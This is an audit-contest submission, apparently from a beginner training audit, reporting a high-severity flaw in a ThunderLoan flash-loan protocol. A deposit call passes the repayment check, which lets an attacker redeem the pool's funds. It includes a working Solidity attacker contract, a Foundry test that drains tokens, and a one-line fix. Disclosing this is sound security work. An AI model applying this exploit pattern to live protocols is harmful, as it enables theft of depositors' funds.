Beginner FriendlyFoundryDeFiOracle
100 EXP
View results
Submission Details
Severity: high
Valid

Return funds through deposit

Summary

Attacker has access to to all funds holds by the protocol

Vulnerability Details

After taking a flashloan the attacker can return the funds by calling the deposit function. In this way he pass the condition of the flashloan that the
assures the protocol to get the funds back. After calling the deposit function the attacker has minted AssetTokens, therefore he can call withdraw and retrieve all the tokens from the AssetToken contract

Impact

High

Tools Used

Manual, unit test

Recommended Mitigation

Add a condition in deposit function the ensure that it can't be called during a flashloan on the respective token
if (s_currentlyFlashLoaning[token]) { revert ThunderLoan__CurrentlyFlashLoaning(); }

Proof of Concept for [Vulnerability Name]

Overview:

Attacker has access to to all funds holds by the protocol

Working Test Case (if applicable):

Attacker contract

// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
import { IThunderLoan,IERC20 } from "../../src/interfaces/IFlashLoanReceiver.sol";
contract AttackerFlashLoanReceiver {
IThunderLoan public s_thunderLoan;
constructor(address thunderLoan) {
s_thunderLoan = IThunderLoan(thunderLoan);
}
function executeOperation(
address token,
uint256 amount,
uint256 fee,
address, /* initiator */
bytes calldata /* params */
)
external
{
IERC20(token).approve(address(s_thunderLoan), amount + fee);
s_thunderLoan.deposit(IERC20(token), amount + fee);
}
function redeem(IERC20 token, uint256 amount) external {
s_thunderLoan.redeem(token, amount);
token.transfer(msg.sender, amount);
}
}

Unit test that shows the vulnerability

modifier setAllowedToken() {
vm.prank(thunderLoan.owner());
thunderLoan.setAllowedToken(tokenA, true);
_;
}
modifier hasDeposits() {
vm.startPrank(liquidityProvider);
tokenA.mint(liquidityProvider, DEPOSIT_AMOUNT);
tokenA.approve(address(thunderLoan), DEPOSIT_AMOUNT);
thunderLoan.deposit(tokenA, DEPOSIT_AMOUNT);
vm.stopPrank();
_;
}
function test_flashLoanAndDepositTheAmountInsteadOfRepay() external setAllowedToken hasDeposits {
// amounts:
uint256 amountToBorrow = 10e18;
uint256 predictedFee = 0.03 ether;
// attacker address
address attacker = makeAddr("attacker");
// Attacker contract that we will use the flashloan
AttackerFlashLoanReceiver attackerFlashLoanReceiver = new AttackerFlashLoanReceiver(address(thunderLoan));
// mint tokenA for the attacker contract in order to pay the fee
tokenA.mint(address(attackerFlashLoanReceiver), predictedFee);
// get the assetToken
AssetToken assetToken = thunderLoan.getAssetFromToken(tokenA);
// execute the attack
vm.startPrank(attacker);
// sanity check for assetToken on the attacker contract
uint256 intialAssetTokenBalance = assetToken.balanceOf(address(attackerFlashLoanReceiver));
assertEq(intialAssetTokenBalance, 0);
// start flashloan
thunderLoan.flashloan(address(attackerFlashLoanReceiver), tokenA, amountToBorrow, "");
// check attackerContract assetToken balance
uint256 afterBalanceContractAssetToken = assetToken.balanceOf(address(attackerFlashLoanReceiver));
assertGt(afterBalanceContractAssetToken, 0);
console.log(afterBalanceContractAssetToken);
// redeem all the funds from the flashloan + predictedFee
attackerFlashLoanReceiver.redeem(tokenA, afterBalanceContractAssetToken);
// check balance
uint256 afterBalance = tokenA.balanceOf(attacker);
assertGt(afterBalance, 0);
console.log(afterBalance);
vm.stopPrank();
}
Updates

Lead Judging Commences

0xnevi Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

flash loan funds stolen by a deposit

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.